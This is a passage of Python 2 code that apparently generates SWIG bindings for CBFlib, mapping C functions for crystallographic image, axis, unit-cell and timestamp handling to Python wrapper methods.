(size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_real_3d_image_sf", [ "int element_number","int compression","(binary) String data", "int elsize", "int dimslow", "int dimmid", "int dimfast"],[]], "cbf_get_image_size": [""" %apply int *OUTPUT {int *ndimslow, int *ndimfast} get_image_size; void get_image_size(unsigned int element_number, int *ndimslow, int *ndimfast){ unsigned int reserved; size_t inslow, infast; reserved = 0; cbf_failnez(cbf_get_image_size(self,reserved,element_number,&inslow,&infast)); *ndimslow = (int)inslow; *ndimfast = (int)infast; } ""","get_image_size",["Integer element_number"],["size_t ndim1","size_t ndim2"]], "cbf_get_image_size_fs": [""" %apply int *OUTPUT {int *ndimfast, int *ndimslow} get_image_size_fs; void get_image_size_fs(unsigned int element_number, int *ndimfast, int *ndimslow){ unsigned int reserved; size_t infast, inslow; reserved = 0; cbf_failnez(cbf_get_image_size_fs(self,reserved,element_number,&infast,&inslow)); *ndimfast = (int)infast; /* FIXME - is that how to convert? */ *ndimslow = (int)inslow; } ""","get_image_size_fs",["Integer element_number"],["size_t ndimfast","size_t ndimslow"]], "cbf_get_image_size_sf": [""" %apply int *OUTPUT {int *ndimslow, int *ndimfast} get_image_size_sf; void get_image_size_sf(unsigned int element_number, int *ndimslow, int *ndimfast){ unsigned int reserved; size_t inslow, infast; reserved = 0; cbf_failnez(cbf_get_image_size(self,reserved,element_number,&inslow,&infast)); *ndimslow = (int)inslow; *ndimfast = (int)infast; } ""","get_image_size_sf",["Integer element_number"],["size_t ndimslow","size_t ndimfast"]], "cbf_get_3d_image_size": [""" %apply int *OUTPUT {int *ndimslow, int *ndimmid, int *ndimfast} get_3d_image_size; void get_3d_image_size(unsigned int element_number, int *ndimslow, int *ndimmid, int *ndimfast){ unsigned int reserved; size_t inslow, inmid, infast; reserved = 0; cbf_failnez(cbf_get_3d_image_size(self,reserved,element_number,&inslow,&inmid,&infast)); *ndimslow = (int)inslow; /* FIXME - is that how to convert? */ *ndimmid = (int)inmid; *ndimfast = (int)infast; } ""","get_3d_image_size",["Integer element_number"],["size_t ndimslow","size_t ndimmid","size_t ndimfast"]], "cbf_get_3d_image_size_fs": [""" %apply int *OUTPUT {int *ndimslow, int *ndimmid, int *ndimfast} get_3d_image_size; void get_3d_image_size_fs(unsigned int element_number, int *ndimfast, int *ndimmid, int *ndimslow){ unsigned int reserved; size_t inslow, inmid, infast; reserved = 0; cbf_failnez(cbf_get_3d_image_size_fs(self,reserved,element_number,&infast,&inmid,&inslow)); *ndimslow = (int)inslow; /* FIXME - is that how to convert? */ *ndimmid = (int)inmid; *ndimfast = (int)infast; } ""","get_3d_image_size",["Integer element_number"],["size_t ndimfast","size_t ndimmid","size_t ndimslow"]], "cbf_get_3d_image_size_sf": [""" %apply int *OUTPUT {int *ndimslow, int *ndimmid, int *ndimfast} get_3d_image_size_sf; void get_3d_image_size_sf(unsigned int element_number, int *ndimslow, int *ndimmid, int *ndimfast){ unsigned int reserved; size_t inslow, inmid, infast; reserved = 0; cbf_failnez(cbf_get_3d_image_size_sf(self,reserved,element_number,&inslow,&inmid,&infast)); *ndimslow = (int)inslow; /* FIXME - is that how to convert? */ *ndimmid = (int)inmid; *ndimfast = (int)infast; } ""","get_3d_image_size_sf",["Integer element_number"],["size_t ndimslow","size_t ndimmid","size_t ndimfast"]], "cbf_get_pixel_size" : [""" %apply double *OUTPUT {double *psize} get_pixel_size; void get_pixel_size(unsigned int element_number, unsigned int axis_number, double *psize){ cbf_failnez(cbf_get_pixel_size(self, element_number, axis_number, psize)); } ""","get_pixel_size",["Int element_number","Int axis_number"], ["Float pixel_size"]] , "cbf_get_pixel_size_fs" : [""" %apply double *OUTPUT {double *psize} get_pixel_size; void get_pixel_size_fs(unsigned int element_number, unsigned int axis_number, double *psize){ cbf_failnez(cbf_get_pixel_size_fs(self, element_number, axis_number, psize)); } ""","get_pixel_size_fs",["Int element_number","Int axis_number"], ["Float pixel_size"]] , "cbf_get_pixel_size_sf" : [""" %apply double *OUTPUT {double *psize} get_pixel_size; void get_pixel_size_sf(unsigned int element_number, unsigned int axis_number, double *psize){ cbf_failnez(cbf_get_pixel_size_sf(self, element_number, axis_number, psize)); } ""","get_pixel_size_sf",["Int element_number","Int axis_number"], ["Float pixel_size"]] , "cbf_set_pixel_size":[""" void set_pixel_size (unsigned int element_number, unsigned int axis_number, double psize){ cbf_failnez(cbf_set_pixel_size(self, element_number, axis_number, psize)); } ""","set_pixel_size", ["Int element_number","Int axis_number","Float pixel size"],[]], "cbf_set_pixel_size_fs":[""" void set_pixel_size_fs (unsigned int element_number, unsigned int axis_number, double psize){ cbf_failnez(cbf_set_pixel_size_fs(self, element_number, axis_number, psize)); } ""","set_pixel_size_fs", ["Int element_number","Int axis_number","Float pixel size"],[]], "cbf_set_pixel_size_sf":[""" void set_pixel_size_sf (unsigned int element_number, unsigned int axis_number, double psize){ cbf_failnez(cbf_set_pixel_size_sf(self, element_number, axis_number, psize)); } ""","set_pixel_size_sf", ["Int element_number","Int axis_number","Float pixel size"],[]], "cbf_write_file" : [""" void write_file(const char* filename, int ciforcbf, int headers, int encoding){ FILE *stream; int readable; /* Make readable false so we can close the file immediately */ readable = 0; if ( ! ( stream = fopen (filename, "w+b")) ){ cbf_failnez(CBF_FILEOPEN); } else{ cbf_failnez(cbf_write_file(self, stream, readable, ciforcbf, headers, encoding)); fclose(stream); } } ""","write_file",["String filename","Integer ciforcbf","Integer Headers", "Integer encoding"],[]], "cbf_write_widefile" : [""" void write_widefile(const char* filename, int ciforcbf, int headers, int encoding){ FILE *stream; int readable; /* Make readable false so we can close the file immediately */ readable = 0; if ( ! ( stream = fopen (filename, "w+b")) ){ cbf_failnez(CBF_FILEOPEN); } else{ cbf_failnez(cbf_write_widefile(self, stream, readable, ciforcbf, headers, encoding)); fclose(stream); } } ""","write_widefile",["String filename","Integer ciforcbf","Integer Headers", "Integer encoding"],[]], "cbf_read_template":[""" void read_template(char* filename){ /* CBFlib needs a stream that will remain open hence DO NOT open from python */ FILE *stream; if ( ! ( stream = fopen (filename, "rb")) ){ cbf_failnez(CBF_FILEOPEN); } else{ cbf_failnez(cbf_read_template (self, stream)); } } ""","read_template",["String filename"],[]], "cbf_read_file" : [""" void read_file(char* filename, int headers){ /* CBFlib needs a stream that will remain open hence DO NOT open from python */ FILE *stream; if ( ! ( stream = fopen (filename, "rb")) ){ cbf_failnez(CBF_FILEOPEN); } else{ cbf_failnez(cbf_read_file(self, stream, headers)); } } ""","read_file",["String filename","Integer headers"],[]], "cbf_read_widefile" : [""" void read_widefile(char* filename, int headers){ /* CBFlib needs a stream that will remain open hence DO NOT open from python */ FILE *stream; if ( ! ( stream = fopen (filename, "rb")) ){ cbf_failnez(CBF_FILEOPEN); } else{ cbf_failnez(cbf_read_widefile(self, stream, headers)); } } ""","read_widefile",["String filename","Integer headers"],[]], "cbf_set_doublevalue":[""" void set_doublevalue(const char *format, double number){ cbf_failnez(cbf_set_doublevalue(self,format,number));} ""","set_doublevalue",["String format","Float number"],[]], "cbf_require_integervalue":[""" %apply int *OUTPUT {int *number} require_integervalue; void require_integervalue(int *number, int thedefault){ cbf_failnez(cbf_require_integervalue(self,number,thedefault)); } ""","require_integervalue", ["Int thedefault"],["Int number"]], "cbf_require_doublevalue":[""" %apply double *OUTPUT {double *number} require_doublevalue; void require_doublevalue(double *number, double defaultvalue){ cbf_failnez(cbf_require_doublevalue(self,number,defaultvalue)); } ""","require_doublevalue",["Float Default"],["Float Number"]], "cbf_require_column_value":[""" const char* require_column_value(const char *columnname, const char *defaultvalue){ const char * result; cbf_failnez(cbf_require_column_value(self,columnname, &result,defaultvalue)); return result; } ""","require_column_value", ["String columnnanme","String Default"],["String Name"]], "cbf_require_column_doublevalue":[""" %apply double *OUTPUT { double *number} require_column_doublevalue; void require_column_doublevalue(const char *columnname, double * number, const double defaultvalue){ cbf_failnez(cbf_require_column_doublevalue(self, columnname,number,defaultvalue)); } ""","require_column_doublevalue",["String columnname","Float Value"], ["Float defaultvalue"]], "cbf_require_column_integervalue":[""" %apply int *OUTPUT {int *number} require_column_integervalue; void require_column_integervalue(const char *columnname, int *number, const int defaultvalue){ cbf_failnez(cbf_require_column_integervalue(self, columnname, number,defaultvalue)); } ""","require_column_integervalue",["String Columnvalue","Int default"], ["Int Value"]], "cbf_require_value" : [""" const char* require_value(const char* defaultvalue){ const char * result; cbf_failnez(cbf_require_value(self, &result, defaultvalue)); return result; } ""","require_value",["String defaultvalue"],['String Value']], "cbf_require_diffrn_id":[""" const char* require_diffrn_id(const char* defaultid){ const char * id; cbf_failnez(cbf_require_diffrn_id(self,&id,defaultid)); return id; } ""","require_diffrn_id", ["String Default_id"],["String diffrn_id"]], "cbf_get_polarization":[""" /* Returns a pair of double values */ %apply double *OUTPUT { double *in1, double *in2 }; void get_polarization(double *in1,double *in2){ cbf_failnez(cbf_get_polarization (self, in1, in2)); } ""","get_polarization",[], ["float polarizn_source_ratio","float polarizn_source_norm"]], "cbf_set_polarization":[""" void set_polarization (double polarizn_source_ratio, double polarizn_source_norm){ cbf_failnez(cbf_set_polarization(self, polarizn_source_ratio, polarizn_source_norm)); } ""","set_polarization", ["Float polarizn_source_ratio","Float polarizn_source_norm"],[]], "cbf_get_divergence":[""" %apply double *OUTPUT {double *div_x_source, double *div_y_source, double *div_x_y_source } get_divergence; void get_divergence(double *div_x_source, double *div_y_source, double *div_x_y_source){ cbf_failnez(cbf_get_divergence(self, div_x_source, div_y_source, div_x_y_source)); } ""","get_divergence",[], ["Float div_x_source","Float div_y_source","Float div_x_y_source"]], "cbf_set_divergence":[""" void set_divergence ( double div_x_source, double div_y_source, double div_x_y_source){ cbf_failnez(cbf_set_divergence (self, div_x_source, div_y_source,div_x_y_source)); } ""","set_divergence", ["Float div_x_source","Float div_y_source","Float div_x_y_source"],[]], "cbf_get_gain":[""" %apply double *OUTPUT {double *gain, double *gain_esd} get_gain; void get_gain (unsigned int element_number, double *gain, double *gain_esd){ cbf_failnez(cbf_get_gain (self, element_number, gain, gain_esd)); } ""","get_gain", [],["Float gain", "Float gain_esd"]], "cbf_set_gain":[""" void set_gain (unsigned int element_number, double gain, double gain_esd){ cbf_failnez(cbf_set_gain (self, element_number, gain, gain_esd)); } ""","set_gain",["Float gain", "Float gain_esd"],[]], "cbf_get_element_id":[""" const char * get_element_id(unsigned int element_number){ const char * result; cbf_failnez(cbf_get_element_id (self, element_number, &result)); return result; } ""","get_element_id", ["Integer element_number"],["String"]], "cbf_set_axis_setting":[""" void set_axis_setting(const char *axis_id, double start, double increment){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_set_axis_setting(self,reserved, axis_id,start,increment)); } ""","set_axis_setting",["String axis_id", "Float start", "Float increment"], []], "cbf_count_axis_ancestors":[""" %apply int *OUTPUT {int *ancestors} count_axis_ancestors; void count_axis_ancestors(const char *axis_id, int *ancestors){ unsigned int anc; cbf_failnez(cbf_count_axis_ancestors(self,axis_id,&anc)); *ancestors = anc; } ""","count_axis_ancestors",["String axis_id"],["Integer"],], "cbf_get_axis_ancestor":[""" const char * get_axis_ancestor(const char *axis_id, int ancestor_index){ const char* anc; cbf_failnez(cbf_get_axis_ancestor(self,axis_id, (unsigned int)ancestor_index,&anc)); return anc; } ""","get_axis_ancestor",["String axis_id", "Integer ancestor_index"],["String"],], "cbf_get_axis_depends_on":[""" const char * get_axis_depends_on(const char *axis_id){ const char* dep_on; cbf_failnez(cbf_get_axis_depends_on(self,axis_id, &dep_on)); return dep_on; } ""","get_axis_depends_on",["String axis_id"],["String"],], "cbf_get_axis_equipment":[""" const char * get_axis_equipment(const char *axis_id){ const char* equip; cbf_failnez(cbf_get_axis_equipment(self,axis_id, &equip)); return equip; } ""","get_axis_equipment",["String axis_id"],["String"],], "cbf_get_axis_equipment_component":[""" const char * get_axis_equipment_component(const char *axis_id){ const char* equip_comp; cbf_failnez(cbf_get_axis_equipment_component(self,axis_id, &equip_comp)); return equip_comp; } ""","get_axis_equipment_component",["String axis_id"],["String"],], "cbf_get_axis_offset":[""" %apply double *OUTPUT {double *offset1, double *offset2, double offset3} get_axis_offset; void get_axis_offset(const char *axis_id, double *offset1, double *offset2, double*offset3){ cbf_failnez(cbf_get_axis_offset(self,axis_id, offset1, offset2,offset3)); } ""","get_axis_offset",["String axis_id"], ["Float offset1", "Float offset2", "Float offset3"],], "cbf_get_axis_rotation":[""" %apply double *OUTPUT {double *rotation} get_axis_rotation; void get_axis_rotation(const char *axis_id, double *rotation){ cbf_failnez(cbf_get_axis_rotation(self,axis_id, rotation)); } ""","get_axis_rotation",["String axis_id"], ["Float"],], "cbf_get_axis_rotation_axis":[""" const char * get_axis_rotation_axis(const char *axis_id){ const char* rot_axis; cbf_failnez(cbf_get_axis_rotation_axis(self,axis_id, &rot_axis)); return rot_axis; } ""","get_axis_rotation_axis",["String axis_id"],["String"],], "cbf_get_axis_type":[""" const char * get_axis_type(const char *axis_id){ cbf_axis_type axis_type; cbf_failnez(cbf_get_axis_type(self,axis_id, &axis_type)); if (axis_type == CBF_TRANSLATION_AXIS) return "translation"; if (axis_type == CBF_ROTATION_AXIS) return "rotation"; return "general"; } ""","get_axis_type",["String axis_id"],["String"],], "cbf_get_axis_vector":[""" %apply double *OUTPUT {double *vector1, double *vector2, double vector3} get_axis_vector; void get_axis_vector(const char *axis_id, double *vector1, double *vector2, double *vector3){ cbf_failnez(cbf_get_axis_vector(self,axis_id, vector1, vector2,vector3)); } ""","get_axis_vector",["String axis_id"], ["Float vector1", "Float vector2", "Float vector3"],], "cbf_get_axis_setting":[""" %apply double *OUTPUT {double *start, double *increment} get_axis_setting; void get_axis_setting(const char *axis_id, double *start, double *increment){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_get_axis_setting(self,reserved,axis_id, start,increment)); } ""","get_axis_setting",["String axis_id"],["Float start", "Float increment"],], "cbf_get_datestamp":[""" %apply int *OUTPUT {int *year, int *month, int *day, int *hour, int *minute, double *second, int *timezone} get_datestamp; void get_datestamp(int *year, int *month, int *day, int *hour, int *minute, double *second, int *timezone){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_get_datestamp(self,reserved, year,month,day,hour,minute,second,timezone)); } ""","get_datestamp",[],["int year", "int month", "int day", "int hour", "int minute", "double second", "int timezone"]], "cbf_set_datestamp":[""" void set_datestamp(int year, int month, int day, int hour, int minute, double second, int timezone, double precision){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_set_datestamp(self,reserved, year,month,day,hour,minute,second,timezone,precision)); } ""","set_datestamp",["int year", "int month", "int day", "int hour", "int minute", "double second", "int timezone","Float precision"],[]], "cbf_get_timestamp":[""" %apply double *OUTPUT {double *time} get_timestamp; %apply int *OUTPUT {int *timezone} get_timestamp; void get_timestamp(double *time, int *timezone){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_get_timestamp(self,reserved,time,timezone)); } ""","get_timestamp",[],["Float time","Integer timezone"]], "cbf_set_timestamp":[""" void set_timestamp(double time, int timezone, double precision){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_set_timestamp(self,reserved,time,timezone,precision)); } ""","set_timestamp",["Float time","Integer timezone","Float precision"],[]], "cbf_set_current_timestamp":[""" void set_current_timestamp(int timezone){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_set_current_timestamp(self,reserved,timezone)); } ""","set_current_timestamp",["Integer timezone"],[]], "cbf_get_overload":[""" %apply double *OUTPUT {double *overload} get_overload; void get_overload(unsigned int element_number, double *overload){ cbf_failnez(cbf_get_overload(self,element_number,overload)); } ""","get_overload",["Integer element_number"],["Float overload"]], "cbf_set_overload":[""" void set_overload(unsigned int element_number, double overload){ cbf_failnez(cbf_set_overload(self,element_number,overload)); } ""","set_overload",["Integer element_number","Float overload"],[]], "cbf_set_integration_time":[""" void set_integration_time(double time){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_set_integration_time(self,reserved,time)); } ""","set_integration_time",["Float time"],[]], "cbf_get_integration_time":[""" %apply double *OUTPUT {double *time} get_integration_time; void get_integration_time( double *time ){ unsigned int reserved; double tim; reserved = 0; cbf_failnez(cbf_get_integration_time(self,reserved,&tim)); *time = tim; } ""","get_integration_time",[],["Float time"]], "cbf_get_orientation_matrix":[""" %apply double *OUTPUT {double *m0,double *m1,double *m2, double *m3,double *m4, double *m5,double *m6, double *m7,double *m8 } get_orientation_matrix; void get_orientation_matrix( double *m0,double *m1, double *m2,double *m3,double *m4,double *m5,double *m6, double *m7,double *m8){ double m[9]; cbf_failnez(cbf_get_orientation_matrix(self,m)); *m0 = m[0]; *m1=m[1] ; *m2=m[2] ; *m3 = m[3]; *m4=m[4] ; *m5=m[5] ; *m6 = m[6]; *m7=m[7] ; *m8=m[8] ; } ""","get_orientation_matrix", [],[ "Float matrix_%d"%(ind) for ind in range(9) ]], "cbf_get_unit_cell":[""" %apply double *OUTPUT {double *a, double *b, double *c, double *alpha, double *beta, double *gamma} get_unit_cell; void get_unit_cell(double *a, double *b, double *c, double *alpha, double *beta, double *gamma) { double cell[6]; cbf_failnez(cbf_get_unit_cell(self,cell,NULL)); *a = cell[0]; *b = cell[1]; *c = cell[2]; *alpha = cell[3]; *beta = cell[4]; *gamma = cell[5]; } ""","get_unit_cell", [],["Float a", "Float b", "Float c", "Float alpha", "Float beta", "Float gamma" ] ], "cbf_get_unit_cell_esd":[""" %apply double *OUTPUT {double *a_esd, double *b_esd, double *c_esd, double *alpha_esd, double *beta_esd, double *gamma_esd} get_unit_cell_esd; void get_unit_cell_esd(double *a_esd, double *b_esd, double *c_esd, double *alpha_esd, double *beta_esd, double *gamma_esd) { double cell_esd[6]; cbf_failnez(cbf_get_unit_cell(self,NULL,cell_esd)); *a_esd = cell_esd[0]; *b_esd = cell_esd[1]; *c_esd = cell_esd[2]; *alpha_esd = cell_esd[3]; *beta_esd = cell_esd[4]; *gamma_esd = cell_esd[5]; } ""","get_unit_cell", [],["doubleArray cell"] ], "cbf_get_reciprocal_cell":[""" %apply double *OUTPUT {double *astar, double *bstar, double *cstar, double *alphastar, double *betastar, double *gammastar} get_reciprocal_cell; void get_reciprocal_cell(double *astar, double *bstar, double *cstar, double *alphastar, double *betastar, double *gammastar) { double rcell[6]; cbf_failnez(cbf_get_reciprocal_cell(self,rcell,NULL)); *astar = rcell[0]; *bstar = rcell[1]; *cstar = rcell[2]; *alphastar = rcell[3]; *betastar = rcell[4]; *gammastar = rcell[5]; } ""","get_reciprocal_cell", [],["Float astar", "Float bstar", "Float cstar", "Float alphastar", "Float betastar", "Float gammastar"] ], "cbf_get_reciprocal_cell_esd":[""" %apply double *OUTPUT {double *a_esd, double *b_esd, double *c_esd, double *alpha_esd, double *beta_esd, double *gamma_esd} get_reciprocal_cell_esd; void get_reciprocal_cell_esd(double *a_esd, double *b_esd, double *c_esd, double *alpha_esd, double *beta_esd, double *gamma_esd) { double cell_esd[6]; cbf_failnez(cbf_get_reciprocal_cell(self,NULL,cell_esd)); *a_esd = cell_esd[0]; *b_esd = cell_esd[1]; *c_esd = cell_esd[2]; *alpha_esd = cell_esd[3]; *beta_esd = cell_esd[4]; *gamma_esd = cell_esd[5]; } ""","get_reciprocal_cell", [],["doubleArray cell"] ], "cbf_set_unit_cell":[""" void set_unit_cell(double cell[6]) { cbf_failnez(cbf_set_unit_cell(self,cell,NULL)); } ""","set_unit_cell", ["double cell[6]"],[] ], "cbf_set_unit_cell_esd":[""" void set_unit_cell_esd(double cell_esd[6]) { cbf_failnez(cbf_set_unit_cell(self,NULL,cell_esd)); } ""","set_unit_cell_esd", ["double cell_esd[6]"],[] ], "cbf_set_reciprocal_cell":[""" void set_reciprocal_cell(double cell[6]) { cbf_failnez(cbf_set_reciprocal_cell(self,cell,NULL)); } ""","set_reciprocal_cell", ["double cell[6]"],[] ], "cbf_set_reciprocal_cell_esd":[""" void set_reciprocal_cell_esd(double cell_esd[6]) { cbf_failnez(cbf_set_reciprocal_cell(self,NULL,cell_esd)); } ""","set_reciprocal_cell_esd", ["double cell_esd[6]"],[] ], "cbf_set_tag_category":[""" void set_tag_category(const char *tagname, const char* categoryname_in){ cbf_failnez(cbf_set_tag_category(self,tagname, categoryname_in)); } ""","set_tag_category",["String tagname","String categoryname_in"],[] ], "cbf_find_tag_category":[""" const char * find_tag_category(const char *tagname){ const char * result; cbf_failnez(cbf_find_tag_category(self,tagname, &result)); return result; } ""","find_tag_category",["String tagname"],["String categoryname"] ], "cbf_require_tag_root":[""" const char* require_tag_root(const char* tagname){ const char* result; cbf_failnez(cbf_require_tag_root(self,tagname,&result)); return result; } ""","require_tag_root",["String tagname"],["String tagroot"]], "cbf_find_tag_root":[""" const char * find_tag_root(const char* tagname){ const char* result; cbf_failnez(cbf_find_tag_root(self,tagname,&result)); return result; } ""","find_tag_root",["String tagname"],["String tagroot"]], "cbf_set_tag_root":[""" void set_tag_root(const char* tagname, const char* tagroot_in){ cbf_failnez(cbf_set_tag_root(self,tagname,tagroot_in)); } ""","set_tag_root",["String tagname","String tagroot_in"],[]], "cbf_set_category_root":[""" void set_category_root(const char* categoryname, const char* categoryroot){ cbf_failnez(cbf_set_category_root(self,categoryname,categoryroot)); } ""","set_category_root",["String categoryname","String categoryroot"],[]], "cbf_find_category_root":[""" const char* find_category_root(const char* categoryname){ const char * result; cbf_failnez(cbf_find_category_root(self,categoryname,&result)); return result; } ""","find_category_root",["String categoryname"],["String categoryroot"]], "cbf_require_category_root":[""" const char* require_category_root (const char* categoryname){ const char* result; cbf_failnez(cbf_require_category_root(self,categoryname, &result)); return result; } ""","cbf_require_category_root",["String Categoryname"],["String categoryroot"]], "cbf_set_orientation_matrix":[""" void set_orientation_matrix( double m0,double m1, double m2,double m3,double m4,double m5,double m6, double m7,double m8){ double m[9]; m[0] = m0; m[1]=m1 ; m[2]=m2 ; m[3] = m3; m[4]=m4 ; m[5]=m5 ; m[6] = m6; m[7]=m7 ; m[8]=m8 ; cbf_failnez(cbf_get_orientation_matrix(self,m)); } ""","set_orientation_matrix", [ "Float matrix_%d"%(ind) for ind in range(9) ] ,[]], "cbf_set_bin_sizes":[""" void set_bin_sizes( int element_number, double slowbinsize_in, double fastbinsize_in) { cbf_failnez(cbf_set_bin_sizes(self,element_number,slowbinsize_in,fastbinsize_in)); } ""","set_bin_sizes",["Integer element_number","Float slowbinsize_in","Float fastbinsize_in"],[] ], "cbf_get_bin_sizes":[""" %apply double *OUTPUT {double *slowbinsize,double *fastbinsize}; void get_bin_sizes(int element_number, double *slowbinsize, double *fastbinsize) { cbf_failnez(cbf_get_bin_sizes (self, (unsigned int)element_number, slowbinsize, fastbinsize)); } ""","get_bin_sizes",["Integer element_number"],["Float slowbinsize","Float fastbinsize"] ], # cbfhandle dict functions UNTESTED "cbf_require_dictionary":[""" cbf_handle require_dictionary(){ cbf_handle temp; cbf_failnez(cbf_require_dictionary(self,&temp)); return temp; } ""","require_dictionary",[],["CBFHandle dictionary"]], "cbf_get_dictionary":[""" cbf_handle get_dictionary(){ cbf_handle temp; cbf_failnez(cbf_get_dictionary(self,&temp)); return temp; } ""","get_dictionary",[],["CBFHandle dictionary"]], "cbf_set_dictionary":[""" void set_dictionary(cbf_handle other){ cbf_failnez(cbf_set_dictionary(self,other)); } ""","set_dictionary",["CBFHandle dictionary"],[]], "cbf_convert_dictionary":[""" void convert_dictionary(cbf_handle other){ cbf_failnez(cbf_convert_dictionary(self,other)); } ""","convert_dictionary",["CBFHandle dictionary"],[]], "cbf_construct_detector":[""" cbf_detector construct_detector(unsigned int element_number){ cbf_detector detector; cbf_failnez(cbf_construct_detector(self,&detector,element_number)); return detector; } ""","construct_detector",["Integer element_number"],["pycbf detector object"]], "cbf_construct_reference_detector":[""" cbf_detector construct_reference_detector(unsigned int element_number){ cbf_detector detector; cbf_failnez(cbf_construct_reference_detector(self,&detector,element_number)); return detector; } ""","construct_reference_detector",["Integer element_number"],["pycbf detector object"]], "cbf_require_reference_detector":[""" cbf_detector require_reference_detector(unsigned int element_number){ cbf_detector detector; cbf_failnez(cbf_require_reference_detector(self,&detector,element_number)); return detector; } ""","require_reference_detector",["Integer element_number"],["pycbf detector object"]], "cbf_construct_goniometer":[""" cbf_goniometer construct_goniometer(){ cbf_goniometer goniometer; cbf_failnez(cbf_construct_goniometer(self,&goniometer)); return goniometer; } ""","construct_goniometer",[],["pycbf goniometer object"]], "cbf_construct_positioner":[""" cbf_positioner construct_positioner(const char* axis_id){ cbf_positioner positioner; cbf_failnez(cbf_construct_positioner(self,&positioner,axis_id)); return positioner; } ""","construct_positioner",["String axis_id"],["pycbf positioner object"]], "cbf_construct_reference_positioner":[""" cbf_positioner construct_reference_positioner(const char* axis_id){ cbf_positioner positioner; cbf_failnez(cbf_construct_reference_positioner(self,&positioner,axis_id)); return positioner; } ""","construct_reference_positioner",["String axis_id"],["pycbf positioner object"]], "cbf_get_axis_reference_poise":[""" %apply double *OUTPUT {double *vector1, double *vector2, double *vector3, double *offset1, double *offset2, double *offset3}; void get_axis_reference_poise(double *vector1, double *vector2, double *vector3, double *offset1, double *offset2, double *offset3, const char *axis_id){ cbf_failnez(cbf_get_axis_reference_poise(self, vector1, vector2, vector3, offset1, offset2, offset3, axis_id)); } ""","get_axis_reference_poise",["String axis_id"], ["Float vector1","Float vector2","Float vector3", "Float offset1","Float offset2","Float offset3"]], "cbf_get_axis_poise":[""" %apply double *OUTPUT {double *vector1, double *vector2, double *vector3, double *offset1, double *offset2, double *offset3, double *angle}; void get_axis_poise(double ratio, double *vector1, double *vector2, double *vector3, double *offset1, double *offset2, double *offset3, double *angle, const char *axis_id, const char *frame_id){ cbf_failnez(cbf_get_axis_poise(self, ratio, vector1, vector2, vector3, offset1, offset2, offset3, angle, axis_id, frame_id)); } ""","get_axis_poise", ["Float ratio", "String axis_id", "String frame_id"], ["Float vector1","Float vector2","Float vector3", "Float offset1","Float offset2","Float offset3","Float angle"]], } cbf_positioner_specials = { } # Prelude to the next section of the nuweb doc class cbfhandlewrapper: def __init__(self): self.code = """ // Tell SWIG not to make constructor for these objects %nodefault cbf_handle; %nodefault cbf_handle_struct; %nodefault cbf_node; // A couple of blockitem functions return CBF_NODETYPE typedef enum { CBF_UNDEFNODE, /* Undefined */ CBF_LINK, /* Link */ CBF_ROOT, /* Root */ CBF_DATABLOCK, /* Datablock */ CBF_SAVEFRAME, /* Saveframe */ CBF_CATEGORY, /* Category */ CBF_COLUMN /* Column */ } CBF_NODETYPE; // Tell SWIG what the object is, so we can build the class typedef struct { cbf_node *node; int row, search_row; } cbf_handle_struct; typedef cbf_handle_struct *cbf_handle; typedef cbf_handle_struct handle; %feature("autodoc","1"); %extend cbf_handle_struct{ // Tell SWIG to attach functions to the structure cbf_handle_struct(){ // Constructor cbf_handle handle; cbf_failnez(cbf_make_handle(&handle)); return handle; } ~cbf_handle_struct(){ // Destructor cbf_failnez(cbf_free_handle(self)); } """ self.tail = """ }; // End of cbf_handle_struct """ # End of init function def get_code(self): return self.code+self.tail def wrap(self,cfunc,prototype,args,docstring): # print "cfunc: ", cfunc pyfunc = cfunc.replace("cbf_","") # Insert a comment for debugging this script code = "\n/* cfunc %s pyfunc %s \n"%(cfunc,pyfunc) for a in args: code += " arg %s "%(a) code += "*/\n\n" # Make and free handle are done in the header so skip if cfunc.find("cbf_make_handle")>-1 or cfunc.find("cbf_free_handle")>-1: # Constructor and destructor done in headers return if args[0] != "cbf_handle handle": # Must be for cbfhandle print "problem",cfunc,pyfunc,args return if len(args)==1: # Only takes CBFhandle arg code+= docstringwrite(pyfunc,[],[],prototype,docstring) code+= " void %s(void){\n"%(pyfunc) code+= " cbf_failnez(%s(self));}\n"%(cfunc) self.code=self.code+code return # Now case by case rather than writing a proper parser # Special cases ... not_found=0 try: code, pyname, input, output = cbfhandle_specials[cfunc] self.code += docstringwrite(pyname,input,output, prototype,docstring)+ code return except KeyError: not_found = 1 # print "KeyError" except ValueError: print "problem in",cfunc for item in cbfhandle_specials[cfunc]: print "***",item raise if len(args)==2: if args[1].find("const char")>-1 and \ args[1].find("*")>-1 and \ args[1].find("**")==-1 : # 1 input string code += docstringwrite(pyfunc,[],["string"],prototype,docstring) code += " void %s(const char* arg){\n"%(pyfunc) code +=" cbf_failnez(%s(self,arg));}\n"%(cfunc) self.code=self.code+code return if args[1].find("const char")>-1 and \ args[1].find("**")>-1 :# return string code += docstringwrite(pyfunc,["string"],[],prototype,docstring) code += " const char* %s(void){\n"%(pyfunc) code += " const char* result;\n" code += " cbf_failnez(%s(self, &result));\n"%(cfunc) code += " return result;}\n" self.code=self.code+code return if args[1].find("unsigned int")>-1 and args[1].find("*")==-1: # set uint if args[1].find("reserved")>-1: raise Exception("Setting reserved??? %s %s %s"%(pyfunc, cfunc,str(args))) code += docstringwrite(pyfunc,["Integer"],[],prototype,docstring) code +=" void %s(unsigned int arg){\n"%(pyfunc) code +=" cbf_failnez(%s(self,arg));}\n"%(cfunc) self.code=self.code+code return if args[1].find("unsigned int *")>-1 and args[1].find("**")==-1: # output uint if args[1].find("reserved")>-1: raise Exception("Setting reserved??? %s %s %s"%(pyfunc, cfunc,str(args))) code += docstringwrite(pyfunc,[],["Integer"],prototype,docstring) code +=" unsigned int %s(void){\n"%(pyfunc) code +=" unsigned int result;\n" code +=" cbf_failnez(%s(self,&result));\n"%(cfunc) code +=" return result;}\n" self.code=self.code+code return # For the rest attempt to guess if args[1].find("cbf")==-1: # but do not try the goniometer constructor if args[1].find("*")>-1 and args[1].find("cbf")==-1: # pointer used for returning something type = args[1].split(" ")[0] code += docstringwrite(pyfunc,[],[type.replace("*","")], prototype,docstring) code+= " "+type+" "+pyfunc+"(void){\n" code+= " "+type+" result;\n" code+= " cbf_failnez(%s(self,&result));\n"%(cfunc) 